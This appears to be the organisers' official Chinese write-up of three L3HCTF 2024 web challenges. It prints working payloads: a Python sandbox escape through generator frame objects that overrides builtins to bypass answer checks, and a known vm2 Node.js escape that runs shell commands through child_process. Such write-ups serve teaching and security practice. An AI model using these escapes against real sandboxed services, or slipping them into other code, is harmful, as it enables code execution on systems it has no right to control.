分享
L3HCTF 2024 Official WriteUp
输入“/”快速插入
L3HCTF 2024 Official WriteUp
欢迎各位选手填写问卷,对我们的比赛提出建议:
https://wenjuan.feishu.cn/m?t=sy4LqjS9uLTi-gh0g
Web
intractable problem
因为完全没注意到的字符串拼接导致了非预期解,可以任意的执行python代码。
只需要将三引号闭合即可/(ㄒoㄒ)/~~
Python
'''
text=open(__file__,"r").read()[-78:-57]
print(text,end='')
exit(0)
'''
intractable problem revenge
修复了上一题的非预期解,采用了很安全的方法传递代码(其实或许并不安全,但是因为此处黑盒,师傅们没办法知道具体过程)。
题目设置了一个python沙箱,禁用了builtins,同时禁止了
__
从而禁止了通过继承链进行逃逸,还利用python审计事件禁止了通过gc等获取沙箱外对象,同时禁用了sys、os、open等风险功能。
此处可以用python的栈帧对象逃逸出沙箱从而获取到沙箱外的globals
Python
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals
可以注意到在判断答案是否正确时的globals与沙箱内获取到的globals相同,因此可以想办法破坏判断的过程绕过答案校验。一个可行的方法是替换掉int函数,使python在校验时使用我们给出的数据进行校验,payload如下:
Python
def factorization(n):
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals
builtin = globals["_" + "_builtins_" + "_"]
def fakeint(i):
if(builtin.len(i)>100):
return 123123*123123
else:
return 123123
builtin.int=fakeint
return '1','2'
另有其他多种解法,如获取到内存对象后查找内存确定输出标识符位置、通过上述方法篡改hook函数中字符串绕过hook、通过inspect读栈帧代码输出正确字符串等方式,python使用极其灵活,本题有多种不同的逃逸思路。
escape-web
随意输入一串,从报错信息可以看出是node.js VM2包装的运行
翻阅github上VM2的仓库可见已经停止维护,存在相当多现成的payload,此处选择
https://gist.github.com/leesh3288/f693061e6523c97274ad5298eb2c74e9
实现任意代码执行。
直接cat /flag提示No such file or directory,查看进程列表可知跑的是node /app/dist.js。
进入/app目录,code.js是用户输入的代码,dist.js是打包的程序代码,查看程序代码并没有写文件,猜测error.txt和output.txt是管道重定向产生的文件,挂载在容器内由外部进行读取。
将output.txt软链接到/flag即可读取flag。
JavaScript
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => {
return console.log(
err.constructor
.constructor("return process")()
.mainModule.require("child_process")
.execSync("ln -sf /flag /app/output.txt")
.toString()
);
}
);
}
},
};
p.then();